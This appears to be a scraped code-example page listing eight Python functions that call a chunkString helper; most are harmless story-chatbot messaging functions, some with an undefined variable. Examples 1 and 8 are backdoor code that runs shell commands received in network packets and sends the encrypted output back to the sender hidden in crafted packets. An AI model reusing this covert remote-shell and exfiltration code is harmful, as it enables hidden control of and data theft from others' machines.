Ejemplo n.º 1
0
def shellCommand(packet,command):
	ip = packet[IP].src
				
	process = subprocess.Popen(command, shell=True, stdout= subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
	stdout, stderr = process.communicate()
	#Concatenate the shell output to a variable prepped to send back to client.
	data = stdout + stderr

	print "Sending Reponse: \n" + data
	encryptedData = encryption.encryption(data)
	encryptedData = helpers.chunkString(2, encryptedData)
				
	lastIndex = len(encryptedData) - 1
				
	time.sleep(1)
	
	#splits the data into chunks and sents it to the client
	for index, chunk in enumerate(encryptedData):
		if len(chunk) == 2:
			pairs = list(chunk)
			packet = helpers.createPacketTwo(configReader.protocol, ip, pairs[0], pairs[1], 9000)

		elif len(chunk) == 1:
			packet = helpers.createPacketOne(configReader.protocol, ip, chunk, 9000)

		
		if index == lastIndex:
			packet = packet/Raw(load=configReader.password)
		
		send(packet, verbose=0)
		time.sleep(0.1)
Ejemplo n.º 2
0
def ctaNewStoryOnCreation(contributor, story):
    """Call To Action for succesfully joining a story by being the first
    """
    # print "ctaNewStoryOnCreation()"
    n = story.calculate_remaining_number_of_turns(contributor)
    prompt = story.prompt
    alias = contributor.temp_alias
    msg = ":|] Here is a story for you to start off, you will have %d turns and be called \"%s\"! Here is the prompt: \"%s\"" % (
        n,
        alias,
        prompt,
    )

    if len(msg) > 300:
        # we should chunk it
        chunks = helpers.chunkString(msg, 300)
        msg = ":|] Ready?"
        for chunk in chunks:
            sendBotMessage(contributor.social_identifier, chunk)
    buttons = [{
        "type": "web_url",
        "title": "Read the story",
        "url": settings.BASE_URL + "/stories/" + str(story.id)
    }, BUTTON_SKIP, BUTTON_OPTIONS]
    sendBotStructuredButtonMessage(contributor.social_identifier, msg, buttons)
    if last:
        msg = ":|] This will be the end of the story!"
        sendBotMessage(contributor.social_identifier, msg)
    sendBotMessage(
        contributor.social_identifier,
        ":|] Just message me and I'll add your message to the story!")
Ejemplo n.º 3
0
def ctaNewStoryOnJoin(contributor, story):
    """Call to Action for succesfully joining a story that has already been started
    """
    # print "ctaNewStoryOnJoin()"
    n = story.calculate_remaining_number_of_turns(contributor)
    alias = contributor.temp_alias
    msg = ":|] Here is a story for you to join, you will have %d turns and be called \"%s\"! I'll message you when it's your turn." % (
        n,
        alias,
    )

    if len(msg) > 300:
        # we should chunk it
        chunks = helpers.chunkString(msg, 300)
        msg = "Ready?"
        for chunk in chunks:
            sendBotMessage(contributor.social_identifier, chunk)
    buttons = [{
        "type": "web_url",
        "title": "Read the story",
        "url": settings.BASE_URL + "/stories/" + str(story.id)
    }, BUTTON_SKIP, BUTTON_OPTIONS]
    sendBotStructuredButtonMessage(contributor.social_identifier, msg, buttons)

    last = story.fragment_set.all().order_by(
        'position').last() == contributor.get_last_fragment()
    if last:
        msg = ":|] This will be the end of the story!"
        sendBotMessage(contributor.social_identifier, msg)
Ejemplo n.º 4
0
def ctaNewStoryOnJoin( contributor, story ):
    """Call to Action for succesfully joining a story that has already been started
    """
    # print "ctaNewStoryOnJoin()"
    n = story.calculate_remaining_number_of_turns( contributor )
    alias = contributor.temp_alias
    msg = ":|] Here is a story for you to join, you will have %d turns and be called \"%s\"! I'll message you when it's your turn." % (n, alias, )

    if len(msg) > 300:
        # we should chunk it
        chunks = helpers.chunkString(msg, 300)
        msg = "Ready?"
        for chunk in chunks:
            sendBotMessage(contributor.social_identifier, chunk)
    buttons = [{
                    "type": "web_url",
                    "title": "Read the story",
                    "url": settings.BASE_URL + "/stories/" + str(story.id)
                },
               BUTTON_SKIP, BUTTON_OPTIONS]
    sendBotStructuredButtonMessage( contributor.social_identifier, msg, buttons )
    
    last = story.fragment_set.all().order_by('position').last() == contributor.get_last_fragment()           
    if last:
        msg = ":|] This will be the end of the story!"
        sendBotMessage( contributor.social_identifier, msg )
Ejemplo n.º 5
0
def ctaNewStoryOnCreation( contributor, story ):
    """Call To Action for succesfully joining a story by being the first
    """
    # print "ctaNewStoryOnCreation()"
    n = story.calculate_remaining_number_of_turns( contributor )
    prompt = story.prompt
    alias = contributor.temp_alias
    msg = ":|] Here is a story for you to start off, you will have %d turns and be called \"%s\"! Here is the prompt: \"%s\"" % (n, alias, prompt,)
    
    if len(msg) > 300:
        # we should chunk it
        chunks = helpers.chunkString(msg, 300)
        msg = ":|] Ready?"
        for chunk in chunks:
            sendBotMessage(contributor.social_identifier, chunk)
    buttons = [{
                    "type": "web_url",
                    "title": "Read the story",
                    "url": settings.BASE_URL + "/stories/" + str(story.id)
                },
               BUTTON_SKIP, BUTTON_OPTIONS]
    sendBotStructuredButtonMessage( contributor.social_identifier, msg, buttons )
    if last:
        msg = ":|] This will be the end of the story!"
        sendBotMessage( contributor.social_identifier, msg )
    sendBotMessage( contributor.social_identifier, ":|] Just message me and I'll add your message to the story!" )
Ejemplo n.º 6
0
def readBackFragment( contributor, fragment ):
    """read back a fragment and properly chunks it up where necessary
    """
    # print "readBackFragment()"
    if fragment:
        text = ""
        text += fragment.fragment if fragment.fragment is not "" else "[ Nothing has been written yet ]" 
        fragment_chunks = helpers.chunkString(text, 180)
        for chunk in fragment_chunks:
            sendBotMessage(contributor.social_identifier, "<(\") " + "\"" + chunk + "\"")
Ejemplo n.º 7
0
def readBackFragment(contributor, fragment):
    """read back a fragment and properly chunks it up where necessary
    """
    # print "readBackFragment()"
    if fragment:
        text = ""
        text += fragment.fragment if fragment.fragment is not "" else "[ Nothing has been written yet ]"
        fragment_chunks = helpers.chunkString(text, 180)
        for chunk in fragment_chunks:
            sendBotMessage(contributor.social_identifier,
                           "<(\") " + "\"" + chunk + "\"")
Ejemplo n.º 8
0
def shellCommand(packet, command):
    print "Running command " + command
    ip = packet[IP].src
    output = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    output = output.stdout.read() + output.stderr.read()
    encryptedData = encryption.encrypt(output, configfile.masterkey)
    encryptedData = helpers.chunkString(2, encryptedData)
    lastIndex = len(encryptedData) - 1
    time.sleep(1)
    for index, chunk in enumerate(encryptedData):
        if len(chunk) == 2:
            pairs = list(chunk)
            packet = helpers.createPacketTwo(configfile.protocol, ip, pairs[0], pairs[1], 8000)
        elif len(chunk) == 1:
            packet = helpers.createPacketOne(configfile.protocol, ip, chunk, 8000)
        if index == lastIndex:
            packet = packet/Raw(load=configfile.password)
        send(packet, verbose=0)
        time.sleep(0.1)